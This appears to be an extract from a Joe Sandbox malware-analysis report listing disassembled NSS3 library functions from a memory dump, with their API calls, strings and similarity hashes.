Associated: 00000006.00000002.2617326243.000000006C780000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617372826.000000006C785000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c5a0000_K7IHXYTNUQJPI2M9UU0ECLE1K.jbxd

Similarity

API ID: calloc$ArenaInitLockPool
String ID: NSS
API String ID: 2230817933-3870390017
Opcode ID: cf45c921e089e87223f00612674e89efe41bf67731e098c56c5428dc72266c27
Instruction ID: 62f8b9bae3fcf8804c51db0abec26a36ee7e876c5b3e6dfe61f898905993dba5
Opcode Fuzzy Hash: cf45c921e089e87223f00612674e89efe41bf67731e098c56c5428dc72266c27
Instruction Fuzzy Hash: 19F0C262E4123023E21111696D06BC624889F5A75EF042032ED0CE6B82EB51950887FE

Function 6C6EB860 Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 41COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000116BB,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,?,?,?,?,6C6DA4E2), ref: 6C6EB8C6

Strings

%s at line %d of [%.10s], xrefs: 6C6EB8BF
database corruption, xrefs: 6C6EB8BA
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C6EB8B0

Memory Dump Source

Source File: 00000006.00000002.2616965445.000000006C5A1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000006.00000002.2616923097.000000006C5A0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617164735.000000006C73F000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617234490.000000006C77E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617280440.000000006C77F000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617326243.000000006C780000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617372826.000000006C785000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c5a0000_K7IHXYTNUQJPI2M9UU0ECLE1K.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 632333372-598938438
Opcode ID: ccfeb7ec1f641cc30e1d68c4594b1796d5295c7b8e392fb675755be392f3b565
Instruction ID: 5c037ef6ad715a345895808f322a5fa2911f7b5029a92ea0df510dcb21f24c79
Opcode Fuzzy Hash: ccfeb7ec1f641cc30e1d68c4594b1796d5295c7b8e392fb675755be392f3b565
Instruction Fuzzy Hash: 08014932948250A9D3108B7A5D84DA37FBC9F8531174B01C9FA445F3B3E612D901C3D9

Function 6C5B7F90 Relevance: 6.2, APIs: 4, Instructions: 223COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6C5B81DF
LeaveCriticalSection.KERNEL32(?), ref: 6C5B8239
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6C5B8255
sqlite3_free.NSS3(00000000), ref: 6C5B8260

Memory Dump Source

Source File: 00000006.00000002.2616965445.000000006C5A1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000006.00000002.2616923097.000000006C5A0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617164735.000000006C73F000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617234490.000000006C77E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617280440.000000006C77F000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617326243.000000006C780000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617372826.000000006C785000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c5a0000_K7IHXYTNUQJPI2M9UU0ECLE1K.jbxd

Similarity

API ID: CriticalSection$EnterLeavememcpysqlite3_free
String ID:
API String ID: 1525636458-0
Opcode ID: 125c4260214a23db1c2cb748c7796296f7d5e5b05bb075700caca12f2fa3765b
Instruction ID: b693192596e2c877f99c0c5c77f6b0783a6e6b8f9b976ae1b541fdca50d14261
Opcode Fuzzy Hash: 125c4260214a23db1c2cb748c7796296f7d5e5b05bb075700caca12f2fa3765b
Instruction Fuzzy Hash: 56918B71A0261DCFEB05DFA0DC6C7ADBBB1BB06304F24013AD51AAB650D739A945CB92

Function 6C691D60 Relevance: 6.1, APIs: 4, Instructions: 141memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?), ref: 6C691D8F

Part of subcall function 6C6814C0: TlsGetValue.KERNEL32 ref: 6C6814E0
Part of subcall function 6C6814C0: EnterCriticalSection.KERNEL32 ref: 6C6814F5
Part of subcall function 6C6814C0: PR_Unlock.NSS3 ref: 6C68150D

PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6C691DA6

Part of subcall function 6C6810C0: TlsGetValue.KERNEL32(?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C6810F3
Part of subcall function 6C6810C0: EnterCriticalSection.KERNEL32(?,?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C68110C
Part of subcall function 6C6810C0: PL_ArenaAllocate.NSS3(?,?,?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C681141
Part of subcall function 6C6810C0: PR_Unlock.NSS3(?,?,?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C681182
Part of subcall function 6C6810C0: TlsGetValue.KERNEL32(?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C68119C

SECITEM_ArenaDupItem_Util.NSS3(?,00000000), ref: 6C691E13
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C691ED0

Memory Dump Source

Source File: 00000006.00000002.2616965445.000000006C5A1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000006.00000002.2616923097.000000006C5A0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617164735.000000006C73F000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617234490.000000006C77E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617280440.000000006C77F000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617326243.000000006C780000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617372826.000000006C785000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c5a0000_K7IHXYTNUQJPI2M9UU0ECLE1K.jbxd

Similarity

API ID: ArenaUtil$Value$CriticalEnterSectionUnlock$Alloc_AllocateArena_FreeItem_Mark_
String ID:
API String ID: 84796498-0
Opcode ID: 2fa3667c6bf8dc98dcb0aca68bc4146f42b30a2e6ce7ff371de06ae06168ecb8
Instruction ID: d7bd0de185a5ef3a354047eb3c6bd665f22f8f1b128d9832c916a80f5829c77f
Opcode Fuzzy Hash: 2fa3667c6bf8dc98dcb0aca68bc4146f42b30a2e6ce7ff371de06ae06168ecb8
Instruction Fuzzy Hash: EE516B75A0130ACFDB10CF98C884BAEB7BAFF49318F244129D8199B751D771E946CB94

Function 6C6E4FF0 Relevance: 6.1, APIs: 4, Instructions: 123COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000000,00000000,?,?,00000001,?,6C5C85D2,00000000,?,?), ref: 6C6E4FFD
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C6E500C
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C6E50C8
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C6E50D6

Memory Dump Source

Source File: 00000006.00000002.2616965445.000000006C5A1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000006.00000002.2616923097.000000006C5A0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617164735.000000006C73F000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617234490.000000006C77E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617280440.000000006C77F000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617326243.000000006C780000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617372826.000000006C785000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c5a0000_K7IHXYTNUQJPI2M9UU0ECLE1K.jbxd

Similarity

API ID: _byteswap_ulong
String ID:
API String ID: 4101233201-0
Opcode ID: c1842a32e4e7e127450c3a2af53b9f41a547574912252666c9cd46b28f398346
Instruction ID: 97b0fda37ec85c29fbb94f6caed47dcbc7c06801c00c60fe582924a9832843f7
Opcode Fuzzy Hash: c1842a32e4e7e127450c3a2af53b9f41a547574912252666c9cd46b28f398346
Instruction Fuzzy Hash: 6C4181B2A012158FCB18CF18DCD179AB7E1BF4831871D466DD84ACBB02E775E891CB95

Function 6C60FFA0 Relevance: 6.1, APIs: 4, Instructions: 118COMMON

Download Yara Rule

APIs

sqlite3_initialize.NSS3(00000000,?,?,?,6C60FDFE), ref: 6C60FFAD

Part of subcall function 6C5ACA30: EnterCriticalSection.KERNEL32(?,?,?,6C60F9C9,?,6C60F4DA,6C60F9C9,?,?,6C5D369A), ref: 6C5ACA7A
Part of subcall function 6C5ACA30: LeaveCriticalSection.KERNEL32(?), ref: 6C5ACB26

memset.VCRUNTIME140(00000000,00000000,00000008,00000000,?,?,?,6C60FDFE), ref: 6C60FFDF
EnterCriticalSection.KERNEL32(?,?,?,?,00000000,?,?,?,6C60FDFE), ref: 6C61001C
LeaveCriticalSection.KERNEL32(?,?,?,?,?,?,00000000,?,?,?,6C60FDFE), ref: 6C61006F

Memory Dump Source

Source File: 00000006.00000002.2616965445.000000006C5A1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000006.00000002.2616923097.000000006C5A0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617164735.000000006C73F000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617234490.000000006C77E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617280440.000000006C77F000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617326243.000000006C780000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617372826.000000006C785000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c5a0000_K7IHXYTNUQJPI2M9UU0ECLE1K.jbxd

Similarity

API ID: CriticalSection$EnterLeave$memsetsqlite3_initialize
String ID:
API String ID: 2358433136-0
Opcode ID: 91a558a6d00de289d26debdce20ad0d2d8e19a35e5b2362672060048df809fd5
Instruction ID: cbb78d23408fa0c754927aa7630a877eacd95ffd3324c02ead723a4b9b19a56c
Opcode Fuzzy Hash: 91a558a6d00de289d26debdce20ad0d2d8e19a35e5b2362672060048df809fd5
Instruction Fuzzy Hash: E541F171F052199FDF08CFA8D889AAE7775FF46316F240039D90693B00DB39A911CBA5

Function 6C73A860 Relevance: 6.1, APIs: 4, Instructions: 111COMMON

Download Yara Rule

APIs

Part of subcall function 6C73A690: calloc.MOZGLUE(00000001,00000044,?,?,?,?,6C73A662), ref: 6C73A69E
Part of subcall function 6C73A690: PR_NewCondVar.NSS3(?), ref: 6C73A6B4

PR_IntervalNow.NSS3 ref: 6C73A8C6
EnterCriticalSection.KERNEL32(?), ref: 6C73A8EB
_PR_MD_UNLOCK.NSS3(?), ref: 6C73A944
PR_SetPollableEvent.NSS3(?), ref: 6C73A94F

Memory Dump Source

Source File: 00000006.00000002.2616965445.000000006C5A1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000006.00000002.2616923097.000000006C5A0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617164735.000000006C73F000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617234490.000000006C77E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617280440.000000006C77F000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617326243.000000006C780000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617372826.000000006C785000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c5a0000_K7IHXYTNUQJPI2M9UU0ECLE1K.jbxd

Similarity

API ID: CondCriticalEnterEventIntervalPollableSectioncalloc
String ID:
API String ID: 811965633-0
Opcode ID: 0a80913eee2a915740afe4c4116aefceae581a622dc984d859ec9628b9ad3227
Instruction ID: ec4e5bc698885be79bc550fcc66c175e2092d7b779423d8de1f7676d223377ce
Opcode Fuzzy Hash: 0a80913eee2a915740afe4c4116aefceae581a622dc984d859ec9628b9ad3227
Instruction Fuzzy Hash: 41417CB4A01A16CFCB04CF69C681996FBF5FF48328725956AD849DBB12E731E850CF90

Function 6C6F7DE0 Relevance: 6.1, APIs: 4, Instructions: 108COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C6F7E10
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C6F7EA6
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C6F7EB5
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000000), ref: 6C6F7ED8

Memory Dump Source

Source File: 00000006.00000002.2616965445.000000006C5A1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000006.00000002.2616923097.000000006C5A0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617164735.000000006C73F000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617234490.000000006C77E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617280440.000000006C77F000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617326243.000000006C780000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617372826.000000006C785000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c5a0000_K7IHXYTNUQJPI2M9UU0ECLE1K.jbxd

Similarity

API ID: _byteswap_ulong
String ID:
API String ID: 4101233201-0
Opcode ID: 68fd819e4aa8e36df1224ea11687829a8446297eaaca2911829ad9927b1d0bc6
Instruction ID: 7e0f803b1da2bfc25a7cda7c04b5ba20223f3e8024d46359903583cf081ca9c7
Opcode Fuzzy Hash: 68fd819e4aa8e36df1224ea11687829a8446297eaaca2911829ad9927b1d0bc6
Instruction Fuzzy Hash: B331A4B2A001158FDB04CF08DC9499ABBA3BF8831871B816AC8585B711EB71EC46CBD1

Function 6C6ADF00 Relevance: 6.1, APIs: 4, Instructions: 106COMMON

Download Yara Rule

APIs

Part of subcall function 6C633090: PORT_NewArena_Util.NSS3(00000800,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C64AE42), ref: 6C6330AA
Part of subcall function 6C633090: PORT_ArenaAlloc_Util.NSS3(00000000,000000AC,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C6330C7
Part of subcall function 6C633090: memset.VCRUNTIME140(-00000004,00000000,000000A8), ref: 6C6330E5
Part of subcall function 6C633090: SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C633116
Part of subcall function 6C633090: SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6C63312B
Part of subcall function 6C633090: PK11_DestroyObject.NSS3(?,?), ref: 6C633154
Part of subcall function 6C633090: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C63317E

SECKEY_CopyPrivateKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,?,6C6ADBBD), ref: 6C6ADFCF
SECKEY_DestroyPrivateKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C6ADFEE

Part of subcall function 6C6486D0: PK11_Authenticate.NSS3(?,00000001,?,00000000,00000000,?,?,?,?,?,?,?,?,?,?,?), ref: 6C648716
Part of subcall function 6C6486D0: TlsGetValue.KERNEL32(?,?,?,00000000,00000000,?,?,?,?,?,?,?,?,?,?,?), ref: 6C648727
Part of subcall function 6C6486D0: EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C64873B
Part of subcall function 6C6486D0: PR_Unlock.NSS3(?), ref: 6C64876F
Part of subcall function 6C6486D0: PR_SetError.NSS3(00000000,00000000), ref: 6C648787

Part of subcall function 6C66F820: free.MOZGLUE(6A1B7500,2404110F,?,?), ref: 6C66F854
Part of subcall function 6C66F820: free.MOZGLUE(FFD3F9E8,2404110F,?,?), ref: 6C66F868
Part of subcall function 6C66F820: DeleteCriticalSection.KERNEL32(04C4841B,2404110F,?,?), ref: 6C66F882
Part of subcall function 6C66F820: free.MOZGLUE(04C483FF,?,?), ref: 6C66F889
Part of subcall function 6C66F820: DeleteCriticalSection.KERNEL32(CCCCCCDF,2404110F,?,?), ref: 6C66F8A4
Part of subcall function 6C66F820: free.MOZGLUE(CCCCCCC3,?,?), ref: 6C66F8AB
Part of subcall function 6C66F820: DeleteCriticalSection.KERNEL32(280F1108,2404110F,?,?), ref: 6C66F8C9
Part of subcall function 6C66F820: free.MOZGLUE(280F10EC,?,?), ref: 6C66F8D0

SECKEY_DestroyPublicKey.NSS3(00000000,?,?,6C6ADBBD), ref: 6C6ADFFC
PR_SetError.NSS3(FFFFE013,00000000,?,?,6C6ADBBD), ref: 6C6AE007

Memory Dump Source

Source File: 00000006.00000002.2616965445.000000006C5A1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000006.00000002.2616923097.000000006C5A0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617164735.000000006C73F000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617234490.000000006C77E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617280440.000000006C77F000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617326243.000000006C780000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617372826.000000006C785000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c5a0000_K7IHXYTNUQJPI2M9UU0ECLE1K.jbxd

Similarity

API ID: Utilfree$CriticalSection$DeleteDestroy$Arena_CopyErrorK11_Private$AlgorithmAlloc_ArenaAuthenticateEnterFreeItem_ObjectPublicTag_UnlockValuememset
String ID:
API String ID: 3730430729-0
Opcode ID: da47d95d8c99fc88bfb88b301ad63d4dd35a34fc36bcad85d23c9f825df97d4e
Instruction ID: c1ea7469d19cfce9cdb475e1fe3342bd912310b53fab0cab60c1062ee851ef1c
Opcode Fuzzy Hash: da47d95d8c99fc88bfb88b301ad63d4dd35a34fc36bcad85d23c9f825df97d4e
Instruction Fuzzy Hash: 6331E7B1A0420157D711AABAAC84A9B73F89F5A30CF040135ED09D7B53FB35E919C2EE

Function 6C626C50 Relevance: 6.1, APIs: 4, Instructions: 102memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6C626C8D
memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6C626CA9
PORT_ArenaAlloc_Util.NSS3(?,0000000C), ref: 6C626CC0
SEC_ASN1EncodeItem_Util.NSS3(?,00000000,?,6C748FE0), ref: 6C626CFE

Memory Dump Source

Source File: 00000006.00000002.2616965445.000000006C5A1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000006.00000002.2616923097.000000006C5A0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617164735.000000006C73F000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617234490.000000006C77E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617280440.000000006C77F000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617326243.000000006C780000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617372826.000000006C785000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c5a0000_K7IHXYTNUQJPI2M9UU0ECLE1K.jbxd

Similarity

API ID: Util$Alloc_Arena$EncodeItem_memset
String ID:
API String ID: 2370200771-0
Opcode ID: 46db0562baba952e72690824d0d20e4fd1dfbf26a11f166cfc10a9e20e518577
Instruction ID: 5d2517513bd7b99b7f68007c832e725382ee43d8ebb04ab833b61d4ccd766f9f
Opcode Fuzzy Hash: 46db0562baba952e72690824d0d20e4fd1dfbf26a11f166cfc10a9e20e518577
Instruction Fuzzy Hash: 12318EB1A0121A9FEB08DF65C891ABFBBF9EF85348B10442DD905E7700EB35D915CBA4

Function 6C734F00 Relevance: 6.1, APIs: 4, Instructions: 101fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(?,40000000,00000003,00000000,?,?,00000000), ref: 6C734F5D
free.MOZGLUE(?), ref: 6C734F74
free.MOZGLUE(?), ref: 6C734F82
GetLastError.KERNEL32 ref: 6C734F90

Memory Dump Source

Source File: 00000006.00000002.2616965445.000000006C5A1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000006.00000002.2616923097.000000006C5A0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617164735.000000006C73F000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617234490.000000006C77E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617280440.000000006C77F000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617326243.000000006C780000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617372826.000000006C785000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c5a0000_K7IHXYTNUQJPI2M9UU0ECLE1K.jbxd

Similarity

API ID: free$CreateErrorFileLast
String ID:
API String ID: 17951984-0
Opcode ID: cd91eda56c74701ad896b44e1c386e772d3e9a0f7ba4bd47d3cb4dd4c9f0df76
Instruction ID: 4dea6c2e3bd624abb9d18aefbcb263817993de5adcda0f64afccff2adef9907f
Opcode Fuzzy Hash: cd91eda56c74701ad896b44e1c386e772d3e9a0f7ba4bd47d3cb4dd4c9f0df76
Instruction Fuzzy Hash: 85314B75A0022A4BEF01CB69DD45BDF77B8FF45348F0C0235EC19A7682D735D90486A1

Function 6C67DDE0 Relevance: 6.1, APIs: 4, Instructions: 86memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(00000000,?,00000000,00000000,?,?,6C67DDB1,?,00000000), ref: 6C67DDF4

Part of subcall function 6C6814C0: TlsGetValue.KERNEL32 ref: 6C6814E0
Part of subcall function 6C6814C0: EnterCriticalSection.KERNEL32 ref: 6C6814F5
Part of subcall function 6C6814C0: PR_Unlock.NSS3 ref: 6C68150D

PORT_ArenaAlloc_Util.NSS3(?,00000054,?,00000000,00000000,?,?,6C67DDB1,?,00000000), ref: 6C67DE0B
PORT_Alloc_Util.NSS3(00000054,?,00000000,00000000,?,?,6C67DDB1,?,00000000), ref: 6C67DE17

Part of subcall function 6C680BE0: malloc.MOZGLUE(6C678D2D,?,00000000,?), ref: 6C680BF8
Part of subcall function 6C680BE0: TlsGetValue.KERNEL32(6C678D2D,?,00000000,?), ref: 6C680C15

PR_SetError.NSS3(FFFFE009,00000000), ref: 6C67DE80

Memory Dump Source

Source File: 00000006.00000002.2616965445.000000006C5A1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000006.00000002.2616923097.000000006C5A0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617164735.000000006C73F000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617234490.000000006C77E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617280440.000000006C77F000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617326243.000000006C780000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617372826.000000006C785000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c5a0000_K7IHXYTNUQJPI2M9UU0ECLE1K.jbxd

Similarity

API ID: Util$Alloc_ArenaValue$CriticalEnterErrorMark_SectionUnlockmalloc
String ID:
API String ID: 3725328900-0
Opcode ID: 76bed5ec1ed1856720d9d5efe1139b27b0a87fc8713e0c3613628c4c4c5f84ea
Instruction ID: fd868277c390bc0580997bd726de8bbd9ff557446aef2be0c3a04c76ca602e3f
Opcode Fuzzy Hash: 76bed5ec1ed1856720d9d5efe1139b27b0a87fc8713e0c3613628c4c4c5f84ea
Instruction Fuzzy Hash: 0731F6B19017429BE711CF16C880A96F7E4FFA5318B248A29D81D87B41E771F0E5CBA5

Function 6C66FE20 Relevance: 6.1, APIs: 4, Instructions: 86COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(6C645ADC,?,00000000,00000001,?,?,00000000,?,6C63BA55,?,?), ref: 6C66FE4B
EnterCriticalSection.KERNEL32(78831D90,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6C66FE5F
PR_Unlock.NSS3(78831D74), ref: 6C66FEC2
PR_SetError.NSS3(00000000,00000000), ref: 6C66FED6

Memory Dump Source

Source File: 00000006.00000002.2616965445.000000006C5A1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000006.00000002.2616923097.000000006C5A0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617164735.000000006C73F000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617234490.000000006C77E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617280440.000000006C77F000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617326243.000000006C780000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617372826.000000006C785000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c5a0000_K7IHXYTNUQJPI2M9UU0ECLE1K.jbxd

Similarity

API ID: CriticalEnterErrorSectionUnlockValue
String ID:
API String ID: 284873373-0
Opcode ID: c7c725aa2dde1d602313495a2a668fdbeb1414b8efe8cf105dc9cd0bfacea036
Instruction ID: 73074fdd7c3759730525f6e683816a7b8146fd189fa2cce444a182316dfd3e04
Opcode Fuzzy Hash: c7c725aa2dde1d602313495a2a668fdbeb1414b8efe8cf105dc9cd0bfacea036
Instruction Fuzzy Hash: AE212031E01225ABDB019E2AD80479A7BB8FF06358F180134ED04A7E02E730E925CBDB

Function 6C673F50 Relevance: 6.1, APIs: 4, Instructions: 86COMMON

Download Yara Rule

APIs

Part of subcall function 6C673440: PK11_GetAllTokens.NSS3 ref: 6C673481
Part of subcall function 6C673440: PR_SetError.NSS3(00000000,00000000), ref: 6C6734A3
Part of subcall function 6C673440: TlsGetValue.KERNEL32 ref: 6C67352E
Part of subcall function 6C673440: EnterCriticalSection.KERNEL32(?), ref: 6C673542
Part of subcall function 6C673440: PR_Unlock.NSS3(?), ref: 6C67355B

TlsGetValue.KERNEL32(?,00000000,00000000,00000000,?,6C65E80C,00000000,00000000,?,?,?,?,6C668C5B,-00000001), ref: 6C673FA1
EnterCriticalSection.KERNEL32(?,?,00000000,00000000,00000000,?,6C65E80C,00000000,00000000,?,?,?,?,6C668C5B,-00000001), ref: 6C673FBA
PR_Unlock.NSS3(?,00000000,00000000,00000000,?,6C65E80C,00000000,00000000,?,?,?,?,6C668C5B,-00000001), ref: 6C673FFE
PR_SetError.NSS3 ref: 6C67401A

Memory Dump Source

Source File: 00000006.00000002.2616965445.000000006C5A1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000006.00000002.2616923097.000000006C5A0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617164735.000000006C73F000.00000002.00000001.01000000.0000000E.sdmpDownload File
